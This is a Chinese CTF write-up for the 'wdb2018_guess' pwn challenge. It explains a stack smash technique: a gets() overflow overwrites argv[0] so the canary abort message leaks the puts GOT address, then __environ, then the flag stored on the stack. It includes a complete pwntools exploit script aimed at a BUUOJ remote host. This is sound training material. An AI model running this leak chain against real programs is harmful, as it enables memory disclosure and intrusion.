1. 程式人生 > 實用技巧 >wdb2018_guess(stack smash,__environ獲取棧變數)

wdb2018_guess(stack smash,__environ獲取棧變數)

checksec:

開啟了Canary

main:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __WAIT_STATUS stat_loc; // [rsp+14h] [rbp-8Ch]
  int v5; // [rsp+1Ch] [rbp-84h]
  __int64 v6; // [rsp+20h] [rbp-80h]
  __int64 v7; // [rsp+28h] [rbp-78h]
  char buf; // [rsp+30h] [rbp-70h]
  char s2; // [rsp+60h] [rbp-40h]
  unsigned __int64 v10; //
[rsp+98h] [rbp-8h] v10 = __readfsqword(0x28u); v7 = 3LL; LODWORD(stat_loc.__uptr) = 0; v6 = 0LL; sub_4009A6(); HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0, a2); if ( HIDWORD(stat_loc.__iptr) == -1 ) { perror("./flag.txt"); _exit(-1); } read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL); close(SHIDWORD(stat_loc.__iptr)); puts(
"This is GUESS FLAG CHALLENGE!"); while ( 1 ) { if ( v6 >= v7 ) { puts("you have no sense... bye :-) "); return 0LL; } v5 = sub_400A11(); if ( !v5 ) break; ++v6; wait((__WAIT_STATUS)&stat_loc); } puts("Please type your guessing flag"); gets(
&s2); if ( !strcmp(&buf, &s2) ) puts("You must have great six sense!!!! :-o "); else puts("You should take more effort to get six sence, and one more challenge!!"); return 0LL; }

sub_400A11:

__int64 sub_400A11()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  v1 = fork();
  if ( v1 == -1 )
    err(1, "can not fork");
  return v1;
}

很明顯,gets存在棧溢位。flag一開始就被寫進棧中。我們需要利用canary報錯的資訊洩露flag。

canary檢測到棧溢位後的報錯資訊打印出了程式名,實際上這個檔名是由argv[0]指向的。只要通過棧溢位用自己構造的

字串地址覆蓋掉argv[0]就能列印相應的字串。

關於_environ:https://blog.csdn.net/chennbnbnb/article/details/104035261

我們還不知道偏移是多少,需要通過_environ找到偏移。獲取_environ的地址需要先洩露出libc。

所以總計要三次溢位。程式剛好fork了三次。

計算出輸入引數的地址到argv[0]的偏移為0x128

第一次溢位獲取puts地址:

payload='a'*0x128+p64(puts_got)
a.sendline(payload)
puts_addr=u64(a.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print hex(puts_addr)
libc_base=puts_addr-libc.sym['puts']
environ=libc_base+libc.sym['__environ']

第二次溢位洩露_environ地址:

payload='a'*0x128+p64(environ)
a.sendline(payload)
environ_addr=u64(a.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print hex(environ_addr)

本地除錯(sad是我本地flag.txt的內容),算出flag和environ的偏移為0x168

第三次溢位列印flag:

payload='a'*0x128+p64(environ_addr-0x168)
a.sendline(payload)
#gdb.attach(a)
a.interactive()

exp:

#!/usr/bin/python
#coding:utf-8
from pwn import *
from struct import pack

a=remote("node3.buuoj.cn",25266)
#a=process("/root/guess",env = {"LD_PRELOAD": "./libc.so.6"})
libc=ELF("/root/libc-2.23.so")
elf=ELF("/root/guess")
#puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
#context(os='linux',log_level='debug')

payload='a'*0x128+p64(puts_got)
a.sendline(payload)
puts_addr=u64(a.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print hex(puts_addr)
libc_base=puts_addr-libc.sym['puts']
environ=libc_base+libc.sym['__environ']

payload='a'*0x128+p64(environ)
a.sendline(payload)
environ_addr=u64(a.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print hex(environ_addr)

payload='a'*0x128+p64(environ_addr-0x168)
a.sendline(payload)
#gdb.attach(a)
a.interactive()

成功getflag: